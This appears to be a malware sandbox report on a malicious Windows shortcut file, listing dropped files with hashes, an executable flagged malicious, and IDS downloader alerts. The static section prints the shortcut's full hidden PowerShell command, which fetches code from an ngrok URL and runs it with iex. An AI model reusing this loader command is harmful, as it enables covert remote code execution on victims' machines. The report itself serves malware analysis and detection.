C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	979567347
Entropy (8bit):	0.048486140502691635
Encrypted:	false
SSDEEP:
MD5:	0B58C23F4D66BA6E274B07219708AA02
SHA1:	4173DC7384BE2E8B34267A750DD8DA19A35A933B
SHA-256:	A032B2C95BEA36CB2EC3D2038962739B5805D8C76DCA2190A1F09306B958E065
SHA-512:	D83AAD7792795FE5B0D0E63A49FEAF725F1660BE611E77393E04BC2377A0B87AF3E7448CA6CA47E874A7293876856331954A4BC6622FDC185841A9CA32C26C3F
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......6..trm.'rm.'rm.'ae.'um.'wa.'^m.'wa.'.m.'wa.'pm.'&N.'sm.'.e.'tm.'ae.'pm.'.M.'bm.'.e.'`m.'.N.'.m.'rm.'^l.'.N.'qm.'.N.'?m.'.M.'sm.'rm.'zm.'wa.'{l.'.f.'sm.'wa.'sm.'Richrm.'........PE..L......C.................@...0......Q4.......P....@..........................P................=.......................................o..a..........................@U...............................................P..,............................text....:.......@.................. ..`.rdata.......P.......P..............@..@.data.....P.........................@....data1........o....... .............@....rsrc....a....o..p.... .............@..@........................................................................................................................................................................................................................................................

C:\Users\user\Downloads\2d4c8ba7-21a3-4a94-b59e-a6315121b9d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	106848
Entropy (8bit):	7.916846950395155
Encrypted:	false
SSDEEP:	1536:/t7dsAjcYfnYKHqU4UDgCWuJhG/oEMKTKipqgdrP9sW32prNybV0MLQF2C/hy1T:lGY1YUPDgK6TlrPTsSVC/h8
MD5:	14E5098503C76B02728CDE6EA96538C3
SHA1:	88B84351C73D8E918BEA3DD7EB2178B9C466A342
SHA-256:	7519554506D088A93C531F74F055E8966215CCC42C647382F6A95705172DCAFF
SHA-512:	F8A88B3E86503F4422F599A279EBC8C9F3B552AC3F7495C92780FFE2B406FD1F2F855F0B47D1D0F543E058E90E7146A54ABF86B611FE4F071F46ECE6927D6087
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image18 18 0 R/Image19 19 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 2726>>..stream..x..[Y..F.~.`.C.EZH4....0G.8k....Y`.....0.H..g'.~..I.C.Wk..G..&....l.7..`WWo...g..wI.`...~z.__...;.....\|./..,..0..../~..+./n?^^...3..q~y.a..8S".4g..=.wV0..-jx![.......Fl.o......u...`?..cl. w.0../...T..pup..b....9...x.F.r<.......Q._.........%^...G.Y`1GR.....C)7.X...j..X..f.8.e2......4.Uy.C...c<...L@S.+..,&.01........#.....0...q...Pz.......G..#.......+.p..."..K8..B....

C:\Users\user\Downloads\Lewis Silkin LLP.pdf (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	106848
Entropy (8bit):	7.916846950395155
Encrypted:	false
SSDEEP:	1536:/t7dsAjcYfnYKHqU4UDgCWuJhG/oEMKTKipqgdrP9sW32prNybV0MLQF2C/hy1T:lGY1YUPDgK6TlrPTsSVC/h8
MD5:	14E5098503C76B02728CDE6EA96538C3
SHA1:	88B84351C73D8E918BEA3DD7EB2178B9C466A342
SHA-256:	7519554506D088A93C531F74F055E8966215CCC42C647382F6A95705172DCAFF
SHA-512:	F8A88B3E86503F4422F599A279EBC8C9F3B552AC3F7495C92780FFE2B406FD1F2F855F0B47D1D0F543E058E90E7146A54ABF86B611FE4F071F46ECE6927D6087
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image18 18 0 R/Image19 19 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 2726>>..stream..x..[Y..F.~.`.C.EZH4....0G.8k....Y`.....0.H..g'.~..I.C.Wk..G..&....l.7..`WWo...g..wI.`...~z.__...;.....\|./..,..0..../~..+./n?^^...3..q~y.a..8S".4g..=.wV0..-jx![.......Fl.o......u...`?..cl. w.0../...T..pup..b....9...x.F.r<.......Q._.........%^...G.Y`1GR.....C)7.X...j..X..f.8.e2......4.Uy.C...c<...L@S.+..,&.01........#.....0...q...Pz.......G..#.......+.p..."..K8..B....

C:\Users\user\Downloads\Unconfirmed 634290.crdownload (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	106848
Entropy (8bit):	7.916846950395155
Encrypted:	false
SSDEEP:	1536:/t7dsAjcYfnYKHqU4UDgCWuJhG/oEMKTKipqgdrP9sW32prNybV0MLQF2C/hy1T:lGY1YUPDgK6TlrPTsSVC/h8
MD5:	14E5098503C76B02728CDE6EA96538C3
SHA1:	88B84351C73D8E918BEA3DD7EB2178B9C466A342
SHA-256:	7519554506D088A93C531F74F055E8966215CCC42C647382F6A95705172DCAFF
SHA-512:	F8A88B3E86503F4422F599A279EBC8C9F3B552AC3F7495C92780FFE2B406FD1F2F855F0B47D1D0F543E058E90E7146A54ABF86B611FE4F071F46ECE6927D6087
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image18 18 0 R/Image19 19 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 2726>>..stream..x..[Y..F.~.`.C.EZH4....0G.8k....Y`.....0.H..g'.~..I.C.Wk..G..&....l.7..`WWo...g..wI.`...~z.__...;.....\|./..,..0..../~..+./n?^^...3..q~y.a..8S".4g..=.wV0..-jx![.......Fl.o......u...`?..cl. w.0../...T..pup..b....9...x.F.r<.......Q._.........%^...G.Y`1GR.....C)7.X...j..X..f.8.e2......4.Uy.C...c<...L@S.+..,&.01........#.....0...q...Pz.......G..#.......+.p..."..K8..B....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466396191153702
Encrypted:	false
SSDEEP:	6144:BIXfpi67eLPU9skLmb0b4zWSPKaJG8nAgejZMMhA2gX4WABl0uNCdwBCswSbt:CXD94zWlLZMM6YFHY+t
MD5:	E73C6AD0B7A3C0F87DDC7302B9A5340E
SHA1:	43288C66FB5987936D42CEF3996E917B0C876751
SHA-256:	41162552865C96C9E546E64447BCFC787940054B455F69E539725B1940BAE328
SHA-512:	09DBC767B2F402271202F5A54D885F1944314013A3A73146B92B9B5A886F0B65036FDF9BE99F832A9D27904A0A51E77F4F167EB75638230DC8AC191FD80029BF
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...P.O..............................................................................................................................................................................................................................................................................................................................................m.d........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Thu Nov 28 22:32:21 2024, mtime=Sun Dec 1 16:36:54 2024, atime=Thu Nov 28 22:32:21 2024, length=289792, window=hide
Entropy (8bit):	3.728862687177736
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	KjECqzXLWp.lnk
File size:	2'614 bytes
MD5:	788d10e14721316e78a70a1b0a8b2f88
SHA1:	75d833f1133695d7c9e459894c05cf0a7baea5fa
SHA256:	10f48fb5d22c80c966c8b51516ecdb712130d96342fe56453ae38b613c57394c
SHA512:	98069418896df652c73d39a980da7b9ce636a1b442eb111acf0ac1a6eb5b5fdec69ea74d0f2363c06594969547e8507aa138b320e546f60066688cecf7324ebb
SSDEEP:	48:8GIgax4PsU/unWds2Dr2Lx3Gd0lL4XuH4Xv3SsgoQYk:8fgaxEs2unWdTDiN3dl2uWvZg5Y
TLSH:	5451CC222BD91728F3F34E358DB7A2515A3BF956AD264F2E405042880862B14DCB9F7B
File Content Preview:	L..................F.@.. ....Q...A.......D.......A...l......................5....P.O. .:i.....+00.../C:\...................V.1......Y'...Windows.@........OwH.Y(...........................-...W.i.n.d.o.w.s.....Z.1......Y)...System32..B........OwH.YI.......

File Icon


Icon Hash:	929e9e96a3f3d6ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\cmd.exe
Command Line Argument:	/c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T16:14:22.337667+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	162.125.69.18	443	TCP
2024-12-16T16:14:36.439555+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49794	162.125.69.18	443	TCP
